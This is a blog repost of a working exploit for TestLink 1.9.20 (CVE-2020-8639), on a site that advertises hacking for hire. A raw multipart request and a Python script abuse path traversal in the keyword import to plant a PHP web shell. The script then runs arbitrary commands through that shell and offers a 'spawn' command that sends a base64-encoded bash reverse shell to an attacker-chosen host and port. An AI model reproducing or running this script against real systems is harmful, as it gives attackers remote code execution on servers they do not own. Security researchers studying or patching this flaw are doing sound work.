Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382611

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: TestLink 1.9.20 - Unrestricted File Upload (Authenticated)
# Date: 14th February 2021
# Exploit Author: snovvcrash
# Original Research by: Ackcent AppSec Team
# Original Research: https://ackcent.com/testlink-1-9-20-unrestricted-file-upload-and-sql-injection/
# Vendor Homepage: https://testlink.org/
# Software Link: https://github.com/TestLinkOpenSourceTRMS/testlink-code
# Version: 1.9.20
# Tested on: Ubuntu 20.10
# CVE: CVE-2020-8639
# Requirements: pip3 install -U requests bs4
# Usage Example: ./exploit.py -u admin -p admin -P 127.0.0.1:8080 http://127.0.0.1/testlink

"""
Raw exploit request:

POST /testlink/lib/keywords/keywordsImport.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------242818621515179709592867995067
Content-Length: 1187
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/testlink//lib/keywords/keywordsImport.php?tproject_id=1
Cookie: PHPSESSID=kvbpl3t3lec42qbjdcgdppncib; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=af57ebce9f54ce0f0e36d24ef25dc9c1b3a9d2f8e0b9cb4454c973927306e90f
Upgrade-Insecure-Requests: 1

-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="CSRFName"

CSRFGuard_1115715115
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="CSRFToken"

506c4b44825c5e5885231c263e7195188dedbd154b9cf74e5d183c1feb953aec7c0edae1097649d82acd20f6f851e0cdbac91cc0589d1cfd6fb13741f9cf0cb8
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="importType"

/../../../logs/pwn.php
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="MAX_FILE_SIZE"

409600
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="uploadedFile"; filename="foo.xml"
Content-Type: application/xml

<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="tproject_id"

1
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="UploadFile"

Upload file
-----------------------------242818621515179709592867995067--
"""

#!/usr/bin/env python3

import re
from urllib import parse
from cmd import Cmd
from base64 import b64encode
from argparse import ArgumentParser

import requests
from bs4 import BeautifulSoup

parser = ArgumentParser()
parser.add_argument('target', help='target full URL without trailing slash, ex. "http://127.0.0.1/testlink"')
parser.add_argument('-u', '--username', default='admin', help='TestLink username')
parser.add_argument('-p', '--password', default='admin', help='TestLink password')
parser.add_argument('-P', '--proxy', default=None, help='HTTP proxy in format <HOST:PORT>, ex. "127.0.0.1:8080"')
args = parser.parse_args()


class TestLinkWebShell(Cmd):

	payloadPHP = """<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>"""
	uploadPath = 'logs/pwn.php'
	prompt = '$ '

	def __init__(self, target, username, password, proxies):
		super().__init__()

		self.target = target
		self.username = username
		self.password = password

		if proxies:
			self.proxies = {'http': f'http://{proxies}', 'https': f'http://{proxies}'}
		else:
			self.proxies = None

		self.session = requests.Session()
		self.session.verify = False

		resp = self.session.get(f'{self.target}/login.php', proxies=self.proxies)
		soup = BeautifulSoup(resp.text, 'html.parser')

		self.csrf_name = soup.find('input', {'name': 'CSRFName'}).get('value')
		self.csrf_token = soup.find('input', {'name': 'CSRFToken'}).get('value')
		self.req_uri = soup.find('input', {'name': 'reqURI'}).get('value')
		self.destination = soup.find('input', {'name': 'destination'}).get('value')

	def auth(self):
		data = {
			'CSRFName': self.csrf_name,
			'CSRFToken': self.csrf_token,
			'reqURI': self.req_uri,
			'destination': self.destination,
			'tl_login': self.username,
			'tl_password': self.password
		}

		resp = self.session.post(f'{self.target}/login.php?viewer=', data=data, proxies=self.proxies)
		if resp.status_code == 200:
			print('[*] Authentication succeeded')

			resp = self.session.get(f'{self.target}/lib/general/mainPage.php', proxies=self.proxies)
			if resp.status_code == 200:
				print('[*] Loaded mainPage.php iframe contents')
				soup = BeautifulSoup(resp.text, 'html.parser')

				self.tproject_id = soup.find('a', {'href': re.compile(r'lib/keywords/keywordsView.php\?')}).get('href')
				self.tproject_id = parse.parse_qs(parse.urlsplit(self.tproject_id).query)['tproject_id'][0]

				print(f'[+] Extracted tproject_id value: {self.tproject_id}')

			else:
				raise Exception('Error loading mainPage.php iframe contents')

		else:
			raise Exception('Authentication failed')

	def upload_web_shell(self):
		files = [
			('CSRFName', (None, self.csrf_name)),
			('CSRFToken', (None, self.csrf_token)),
			('importType', (None, f'/../../../{TestLinkWebShell.uploadPath}')),
			('MAX_FILE_SIZE', (None, '409600')),
			('uploadedFile', ('foo.xml', TestLinkWebShell.payloadPHP)),
			('tproject_id', (None, self.tproject_id)),
			('UploadFile', (None, 'Upload file'))
		]

		resp = self.session.post(f'{self.target}/lib/keywords/keywordsImport.php', files=files, proxies=self.proxies)
		if resp.status_code == 200:
			print(f'[*] Web shell uploaded here: {self.target}/{TestLinkWebShell.uploadPath}')

			print('[*] Trying to query whoami...')
			resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c=whoami', proxies=self.proxies)
			if resp.status_code == 200:
				print(f'[+] Success! Starting semi-interactive shell as {resp.text.strip()}')

			else:
				raise Exception('Error interacting with the web shell')

		else:
			raise Exception('Error uploading web shell')

	def emptyline(self):
		pass

	def preloop(self):
		self.auth()
		self.upload_web_shell()

	def default(self, args):
		try:
			resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c={args}', proxies=self.proxies)
			if resp.status_code == 200:
				print(resp.text.strip())
		except Exception as e:
			print(f'*** Something weired happened: {e}')

	def do_spawn(self, args):
		"""Spawn a reverse shell. Usage: \"spawn <LHOST> <LPORT>\"."""
		try:
			lhost, lport = args.split()
			payload = f'/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
			b64_payload = b64encode(payload.encode()).decode()
			cmd = f'echo {b64_payload} | base64 -d | /bin/bash'
			self.default(cmd)
		except Exception as e:
			print(f'*** Something weired happened: {e}')

	def do_EOF(self, args):
		"""Use Ctrl-D to exit the shell."""
		print(); return True


if __name__ == '__main__':
	tlws = TestLinkWebShell(args.target, args.username, args.password, args.proxy)
	tlws.cmdloop('Type help for list of commands')